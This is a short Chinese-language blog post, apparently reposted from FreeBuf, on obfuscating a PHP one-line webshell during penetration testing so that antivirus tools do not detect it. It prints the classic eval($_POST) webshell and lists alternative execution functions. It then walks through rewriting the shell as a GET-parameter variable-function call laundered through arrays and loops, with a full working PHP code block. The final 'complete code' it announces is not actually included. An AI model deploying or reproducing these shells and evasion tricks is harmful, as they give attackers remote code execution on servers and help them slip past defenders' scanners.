在渗透测试过程中,我们上传的webshell,难免遭到杀软都webshell的拦截,我们通常要将一句话木马变形绕过,下面给大家带来一次自己变形的一句话
一句话木马的执行,两个条件为执行代码的函数部分,一个是接收数据的部分
经典一句话木马:<?php eval(@$_POST['a']); ?>
eval就是执行命令的函数,除此之外还有其他替换函数
例如
Assert
create_function
call_user_func
preg_replace
经典的一句话毫无疑问 5级警告,经过很多写法,都是被认为是至少是2级
所以我采用函数外带,以参数的形式传递进来,那么需要包括两部分,一个是assert函数,一个是phpinfo
是采用两个变量接受
$a=$_GET[‘a’]; //接受assert
$b=$_GET[‘b’]; //接受phpinfo()
$a($b);
结果是毫无疑问能执行出来
但是
那就继续吧,思路就是不讲接收到的值直接进行$a($b);这样的组合,于是我使用了php的数组
$kill=array(“{$a}”,”{$b}”);
var_dump($kill);
成功被查杀。。。。
于是定义了一个新的数组,第一个数组循环将值给$killer
$killer = array();
for($i;$i<count($kill);$i++){
$killer[] = $kill[$i];
}
ab($killer[0],$killer[1]);
级别为1级了,再试试
`<?php
$a=$_GET[‘a’];
$b=$_GET[‘b’];
$kill=array(“{$a}”,”{$b}”);
$killer = array();
$i=0;
for($i;$i<count($kill);$i++){
$killer[] = $kill[$i];
}
$c = $killer[0];
$d = $killer[1];
$c($d);
?>`
也是一级
于是我想到将得到的$killer[0],$killer[1]的值传递给一个函数,而真正执行则在函数内执行
那我不执行先,继续传递到内层函数,又查到了,但这次提示不太一样
那就再来一级
完整代码
成功绕过
来源:freebuf.com 2021-04-18 15:53:33 by: Harmeet
请登录后发表评论
注册